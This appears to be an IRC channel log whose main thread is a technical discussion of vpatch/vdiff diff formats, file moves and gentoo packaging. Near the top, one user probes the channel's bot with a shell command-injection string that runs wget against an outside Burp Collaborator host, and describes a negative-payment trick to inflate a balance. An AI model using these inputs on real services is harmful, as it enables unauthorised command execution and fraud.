log☇︎
112300+ entries in 0.06s
mircea_popescu: in other lulz, "Hey! I'm Ashley. I'm an 18 year old girl living in Houston, TX who's in a bit of a financial bind at the moment. I'm a senior in high school. I don't even have my drivers license or a ride to work so it's not like I can get a normal job at the moment."
douchebag1: it doesn't look like wget though
douchebag1: Did anyone click that
ben_vulpes: dude you gotta do this shit in pm
deedbot: douchebag1 subscription to http://test.com/$(`wget${IFS}http://z110uzd1g39afotqos51hlm66xco0d.burpcollaborator.net/lolz.txt`) failed
deedbot: douchebag1 subscription to http://test.com/$(`wget failed
trinque: command is a dumb string until the OTP is confirmed, and then gets parsed and certain type demands are made of the result
mircea_popescu: deedbot the imperturbable.
trinque: but, I would recommend a student go build his own by hand. doing so by reading my script would be fine, so long as you research every line to understand why that step was done.
trinque: idea is portage, the gentoo package build system, is redone in V
trinque: but as dianan_coman observed, the outside world moved, while the thing hadn't yet eaten enough of the outside world.
trinque: https://trinque.org/2017/12/30/wip-cuntoo-installer/ << latest thing published on subj
mircea_popescu: douchebag there's an almost-official gentoo version floating about, we're working towards making it definitive.
trinque: this'd be why I didn't use the floopy lisp for the math (yes, could've done the checks in floopy lisp, but.)
mircea_popescu: also if you manage to upset the developer's expectation javascript uses ints, it'll fail all sorta 4.9999998 = 5 tests
asciilifeform inevitably recalls the parable with the drunkard, who searched for the lost coin 'where the light is', rather than where he had dropped it
douchebag: I'll get on that now, just got home from work
trinque: where's my report on trb dependencies?
trinque: and wtf, pay negative, you think I didn't handle that?
trinque: no, there are not.
douchebag: It also leads me to wonder if there are any race conditions in deedbot
asciilifeform: this is why work with 'web applications before' is catastrophically terrible for yer health, douchebag . it is like building a wrestling career against kindergarteners.
douchebag: I actually have found that in web applications before
douchebag: And if the bot was checking if my balance is greater or equal to the value sent, it would obviously pass
douchebag: The idea was that if the bot subtracts the value I send Ie: Balance - - 0.01 it would actually become balance + 0.01 because maths
douchebag: That's all the testing for that matter
douchebag: also let me try something
mircea_popescu: (as you might intuit, i was a terror as a 5yo being introduced to darwinism. "so why did the other birdy quit ?" "well the guy was bigger." "so ?" "so he's affraid of him." "why ?" "because he's bigger." "So what if he's bigger ? what could he do ? just flies around like an idiot" "could peck it" "so could the smaller one!" and on and on.)
mircea_popescu: part and parcel of the problem of postmodernity, and the deep cause behind all the superficiality, is that nobody ever gets a run for his money. like in overadvanced (supercowardly) species, the whole contest of life consists of display and nothing more.
phf: tmsr tests your fuzzy numbers, it's where "plenty" becomes "~3-5" or more often than not "none at all"
phf: it looks like i'm going to wrap up the rest of the "replicate diff/patch" this week, so that'll also be the time to start adding the clever features
phf: mircea_popescu: let's revisit this question in a couple of days, i'll give it some thought too. i want to finish regrind in the next day before hanbot is done with standing up her mp-wp instance
mircea_popescu: if you have the time i'll hussle you with annoying fundamental questions. if not, later.
asciilifeform: fwiw my format will actually eat bins without problem. ( you would still need a tool to 'human-display' them. and a differ other than unix diff. but the 'crystal' format holds arbitrary bytes, noprob )
mircea_popescu: phf that's the issue in my head, of no practical consequence as it is : why, exactly, different beast, and how ?
mircea_popescu: "ulrich drepper's famous page on". famous ? really ? how the FUCK is anything drepper did even vaguely worth the mention, let alone "famous" ? oh, because pantsuits push it, ie http://trilema.com/2012/a-conversation-with-frank-zappa-ix/#selection-231.0-233.634 ? hurr!
phf: mircea_popescu: it doesn't now, there's no reason why it can't, diffing binaries is a different beast from text diffing, so it's about adding a new kind of hunk/header formats that say "this here follows a binary diff"
asciilifeform: phf: this is curable by not using unix diff. the only lines ~produced~ by dir2txt ab initio are the decorative ones and the 1234 @ filepath . all other bytes are copies as-they-are and line-agnostically.
phf: there's an implicit inbandism in unified diff though, which is the requirement for diff to be a POSIX "text file", so you still have arbitrary, and unknowably, large "lines"
asciilifeform: aha, asking for 'different solution' would be rather like asking for 'different pythagor's theorem'
phf: btw unified diff also follows the same format. you can use @@ ... @@ to know exactly when your hunk ends (see the vpatch code)
mircea_popescu: it is provably the only possible solution.
asciilifeform: phf: afaik it's the only solution.
mircea_popescu: it's not even the timewaste per se, it's the subjective relation to it.
phf: asciilifeform: well you followed an established tmsr solution to inbandism, state the counts before you present the count.
mircea_popescu: it's just... jesus christ i am at a loss to comprehend what the problems involved are. fuck me, i'm working on an ai sex bot to fetlife ? really ?
trinque: mircea_popescu: bet you the dood even read it.
mircea_popescu: asciilifeform seems to me a correctly designed and properly implemented version of trinque 's original doodle, which he summarily described as "bundle all files together and hash" ☟︎
mircea_popescu: just... why the fuck! "i am an intelligent fellow. i have these dumbells on my feet ; and this loudspeaker screaming in my ears". dude...
asciilifeform: ( i would not even bother posting it, but it does cure inbandism, and afaik nobody else has proposed of a way to )
mircea_popescu: and so you check the dood's bio, and "I currently work at Ozlo, where we’re building an AI-powered digital assistant. Previously, I worked at Firebase, a scalable realtime application backend. Before that, I worked on a wide range of experimental projects to improve the web at Mozilla Labs."
asciilifeform: mircea_popescu: your algo as far as i can tell worx perfectly well. mine however is simpler. ( and also worx )
mircea_popescu: meanwhile otherplaces, "shared libraries are obviously a good idea until you’ve actually used them. then whether it’s obvious or not that they’re a bad idea is mostly a matter of how close you are to trying to get them to work." such a great share that anant thing.
phf: mircea_popescu: we're on the same page
mircea_popescu: which is proper, the moving should be costly.
mircea_popescu: yes, the idea was to make a "reorg" patch separately if you're going to move files about.
asciilifeform: this scheme would however lock you into not ever both moving and modifying a given file, if you want the diff to be compact
mircea_popescu: file a/hurr/durr.txt hash aba1 matches file b/hurr/hurr.txt hash aba1, durr.txt was renamed as hurr.txt (renaming and moving are, like norton commander correctly identified, the SAME op. it's all a namechange.)
mircea_popescu: case 1 : the hash matches but the path does not.
asciilifeform: in the actual vpatch format
asciilifeform: how would you represent the movement tho
mircea_popescu: asciilifeform the logged discussion on the topic was, "if hashes match but paths do not, the file was moved ; if hashes match and paths match, the file is untouched ; if hashes do not match but paths match the file was modified ; if hashes do not match and paths do not match the file was created/deleted" ☟︎☟︎
asciilifeform: it is not married to particular form of path.
mircea_popescu: gns:mircea/writings/trilema/categories/ is just about the only way to corectly refer to the item.
asciilifeform: it's correct but woefully incomplete, offers no compact way to represent movement.
mircea_popescu: myeah. the only problem is that i suspect the unix notion of filenames (if ~properly~ regarded, ie, full paths) is actually entirely correct, and how gns will have to work anyway.
asciilifeform: ( transforms whole spittoon into 1 strand, and back, as necessary )
asciilifeform: it would be correct also to say that dir2txt/txt2dir abstracts over the idea of unix filenames entirely.
mircea_popescu: "all files are identified by hashes of their (proper) name and content" and all that.
mircea_popescu: at which juncture i suppose it'd pay to check, huh. hey phf, my memory of logs discussion includes this item whereby the above problem was fully resolved by declaring the path as inseparable part of the filename. you on the same page ? ☟︎
asciilifeform: it has also added seekrit bonus of making the patch format non-inbandistic.
asciilifeform: it's an alternative to the idjit unix multifile diff that doesn't let you move files without barfing megs of liquishit into the diff.
asciilifeform: it isn't an alternative, imho we really gotta have the chronicles.
mircea_popescu: this is where we admit that while the alternative solution presented passes on technical merits, nevertheless the thing it's an alternative to has much better political support. i ~want~ to require people to say a word about their patch, for human eyes.
asciilifeform: the #####...#### thing. it can contain literally anything, purely for ease of eyes.
mircea_popescu: (i get it, i get it, you use the republican-standard declare-size cut method. yes yes.)
asciilifeform: the algo is in http://therealbitcoin.org/ml/btc-dev/attachments/20180331/asciilifeform_crystals.vpatch , or i could summarize for the impatient
asciilifeform: nope. there is no inbandism, literally any combination of characters is legal in the single file.
mircea_popescu: basically you add all files into a temp together, space-separated ?
asciilifeform: each followed by exactly 1 hash ( or, in the case of genesis, 'false' . )
asciilifeform: every patch has exactly one --- and +++ : at the head.
asciilifeform: mircea_popescu: well, consolidates, rather than breaks up, but correct.
asciilifeform: lemme know if any part of it did not make sense, or if i laughably misunderstood the orig trinque-algo.
asciilifeform: ( tldr : it's a demo of a guaranteed-cure for the infamous ' moving mpi dir ' misery . )
asciilifeform: plz do not treat these as homeworks, mod6 , they are there for illustration
mircea_popescu: aaand in other "we used to think romanians are specifically retarded, but then the usians went and joined up!" sads, http://www.dianacoman.com/blog/2011/08/08/referintele-ca-niste-punti-lipsa/
hanbot: ah okay. thanks!
mircea_popescu: ah. so then get the whet back and see from there. maybe new vdiff is ready ; if not and you want to march you can apply spyked's patch on the extant codebase as published by phf, if i understand correctly that should fix your problem. the diffs you produce with the thing thereby compiled will work with later restared vdiff too.
hanbot: was given hosting keyfob yest. evening, will be getting whet.net back today/tomorrow
mircea_popescu: hanbot atm phf is re-grinding his vdiff to include histfile and afaik you didn't have hosting ? did that meanwhile resolve ?
hanbot: hey mircea_popescu: people are wanting to get an mp-wp --is my understanding of the situation correct, ie proablem i had with making vdiff --> proablem with v itself --> folks are reformulating these?
deedbot: http://trilema.com/2018/trilema-pages-restructuring/ << Trilema - Trilema pages restructuring.
deedbot: http://trilema.com/2018/minigame-smg-march-2018-statement/ << Trilema - MiniGame (S.MG), March 2018 Statement
BingoBoingo: <asciilifeform> 'on installment' << Rebound effect is normal only when you go beyond three applications. This is more spackiling over the acute phase.
BingoBoingo: <mircea_popescu> iirc that created the problem it cured ? << Well, temporarily aggrevated the problem it treats
mircea_popescu: usg medicine is very much like usg "technology" aka web development : "hey, it seems to work!"
trinque: just remove whatever your body didn't want there, and that's that
trinque: neti pot and salt water works better than anything
asciilifeform: verily, that's the nose spray where for every litre of snot you would have otherwise disgorged, instead there will be 2 to pay
deedbot: http://qntra.net/2018/04/china-raises-tariffs-on-us-agricultural-exports/ << Qntra - China Raises Tariffs On US Agricultural Exports